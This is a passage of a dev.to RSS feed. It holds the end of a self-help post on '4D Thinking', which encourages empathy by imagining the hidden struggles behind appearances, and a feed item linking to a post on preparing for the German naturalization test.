&lt;p&gt;But 4D Thinking says: &lt;em&gt;Look deeper.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You ask: &lt;em&gt;What does it feel like to carry the weight of hundreds of livelihoods? What kind of pressure comes with knowing that one wrong decision could mean layoffs or lawsuits? Do they get to sleep peacefully at night? Do they even talk to their family anymore? Are they lonely?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;What if they’re exhausted? What if they fantasize about walking away from everything, just to feel human again?&lt;/p&gt;

&lt;p&gt;When you see with 4D Thinking, power stops looking like freedom—and starts looking like sacrifice.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Why 4D Thinking Matters&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;We are bombarded with third-dimensional inputs—photos, posts, appearances, behaviors. But those are &lt;strong&gt;outputs&lt;/strong&gt;, not full realities. Without context, we mistake fragments for wholes.&lt;/p&gt;

&lt;p&gt;4D Thinking helps us:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reduce envy&lt;/strong&gt; by remembering that beauty and success often carry hidden burdens.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cultivate empathy&lt;/strong&gt; by realizing that everyone is fighting battles we cannot see.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stay grounded&lt;/strong&gt; by resisting the illusion that others live “better” or “easier” lives.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Become wise observers&lt;/strong&gt; instead of quick judges.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s not about distrusting everything. It’s about understanding that every visible moment has an invisible backstory.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Other Everyday Examples of 4D Thinking&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The influencer with the perfect life&lt;/strong&gt; might be battling addiction, depression, or burnout off-camera.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The child acting out at school&lt;/strong&gt; might be coping with violence or neglect at home.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The coworker who snapped at you&lt;/strong&gt; might have just lost a loved one but didn’t want to talk about it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The person who seems lazy&lt;/strong&gt; might be dealing with chronic illness or deep fatigue that isn't visible.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these examples becomes clearer—not in 3D, but in 4D.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;How to Practice 4D Thinking&lt;/strong&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Pause before judging&lt;/strong&gt; – The first impression is rarely the full picture.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask “What might be going on behind this?”&lt;/strong&gt; – Context is everything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hold two truths at once&lt;/strong&gt; – Someone can be both successful &lt;em&gt;and&lt;/em&gt; struggling. Happy &lt;em&gt;and&lt;/em&gt; hurting. Together &lt;em&gt;and&lt;/em&gt; on the edge of breaking.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stop comparing your behind-the-scenes to someone else's highlight reel&lt;/strong&gt; – You’re not seeing their full footage.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Final Thought&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;4D Thinking is not about being pessimistic. It’s about being emotionally intelligent. The world often presents itself in clean, edited scenes. But life is messy, uncertain, and filled with layers.&lt;/p&gt;

&lt;p&gt;When you begin to see those hidden layers, you stop being fooled by illusions—and you start becoming truly compassionate, resilient, and wise.&lt;/p&gt;

&lt;p&gt;Because the truth is: behind every smiling face, every perfect scene, every polished success... there’s a story. And 4D Thinking helps you see it.&lt;/p&gt;

</description>
      <category>selfimprovement</category>
      <category>productivity</category>
      <category>career</category>
      <category>mindset</category>
    </item>
    <item>
      <title>🇩🇪 Preparing for the German Naturalization Test ?</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Thu, 17 Jul 2025 15:13:01 +0000</pubDate>
      <link>https://forem.com/alialp/preparing-for-the-german-naturalization-test--403c</link>
      <guid>https://forem.com/alialp/preparing-for-the-german-naturalization-test--403c</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/alialp/einburgerungstest-naturalization-test-made-easy-436c" class="crayons-story__hidden-navigation-link"&gt;🇩🇪 *Einbürgerungstest* / Naturalization Test — Made Easy&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/alialp" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" alt="alialp profile" class="crayons-avatar__image"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/alialp" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Ali Alp
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Ali Alp
                
              
              &lt;div id="story-author-preview-content-2694330" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/alialp" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" class="crayons-avatar__image" alt=""&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Ali Alp&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/alialp/einburgerungstest-naturalization-test-made-easy-436c" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Jul 16 '25&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/alialp/einburgerungstest-naturalization-test-made-easy-436c" id="article-link-2694330"&gt;
          🇩🇪 *Einbürgerungstest* / Naturalization Test — Made Easy
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/productivity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;productivity&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/anki"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;anki&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/citizenship"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;citizenship&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/alialp/einburgerungstest-naturalization-test-made-easy-436c" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/exploding-head-daceb38d627e6ae9b730f36a1e390fca556a4289d5a41abb2c35068ad3e2c4b5.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;12&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/alialp/einburgerungstest-naturalization-test-made-easy-436c#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              &lt;span class="hidden s:inline"&gt;Add Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            4 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>productivity</category>
      <category>anki</category>
      <category>citizenship</category>
    </item>
  </channel>
</rss>
